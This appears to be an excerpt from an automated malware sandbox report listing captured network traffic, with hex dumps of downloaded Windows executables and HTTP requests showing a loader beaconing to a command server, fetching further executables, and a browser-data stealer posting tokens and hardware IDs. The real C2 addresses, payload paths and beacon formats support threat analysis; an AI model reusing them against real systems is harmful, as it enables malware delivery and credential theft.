00 c0 72 71 71 63 75 62 75 71 00 c0 2a 00 00 b0 06 00 00 c0 2a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6d 61 64 6c 78 75 65 00 10 00 00 00 70 31 00 00 04 00 00 00 b4 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 b8 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:48 GMTContent-Type: application/octet-streamContent-Length: 1822720Last-Modified: Mon, 16 Dec 2024 11:36:47 GMTConnection: keep-aliveETag: "676010cf-1bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 0b 36 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 6c 69 67 77 6a 63 00 30 1a 00 00 90 4f 00 00 2a 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6e 7a 6b 64 6f 63 65 00 10 00 00 00 c0 69 00 00 06 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 69 00 00 22 00 00 00 ae 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:50 GMTContent-Type: application/octet-streamContent-Length: 4447744Last-Modified: Mon, 16 Dec 2024 10:56:34 GMTConnection: keep-aliveETag: "67600762-43de00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0d 1b 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 94 48 00 00 fc 74 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 b0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 ac 01 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 60 72 00 73 00 00 00 00 50 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 4a c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 49 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 72 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 50 72 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 72 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 38 00 00 70 72 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 75 69 63 66 61 70 00 70 1b 00 00 e0 aa 00 00 6c 1b 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 62 73 61 64 71 75 75 00 10 00 00 00 50 c6 00 00 04 00 00 00 b8 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c6 00 00 22 00 00 00 bc 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:23:10 GMTContent-Type: application/octet-streamContent-Length: 884736Last-Modified: Mon, 16 Dec 2024 11:35:11 GMTConnection: keep-aliveETag: "6760106f-d8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 29 18 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 77 6b 6a 6e 70 6d 73 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 69 6e 63 61 67 78 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:23:13 GMTContent-Type: application/octet-streamContent-Length: 1822720Last-Modified: Mon, 16 Dec 2024 11:36:47 GMTConnection: keep-aliveETag: "676010cf-1bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 0b 36 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 6c 69 67 77 6a 63 00 30 1a 00 00 90 4f 00 00 2a 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6e 7a 6b 64 6f 63 65 00 10 00 00 00 c0 69 00 00 06 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 69 00 00 22 00 00 00 ae 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/7850253564/muNJF0r.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016072001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016092001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016093001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016094001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="build"stok------BKKJKFBKKECFHJKEBKEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"browsers------GHDHDBAECGCAFHJJDAKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"plugins------BGIDBKKKKKFBGDGDHIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d 0a Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="message"fplugins------CBKJKJDBFIIDHJKEHJEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBHost: 185.215.113.206Content-Length: 5695Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016095001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016096001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
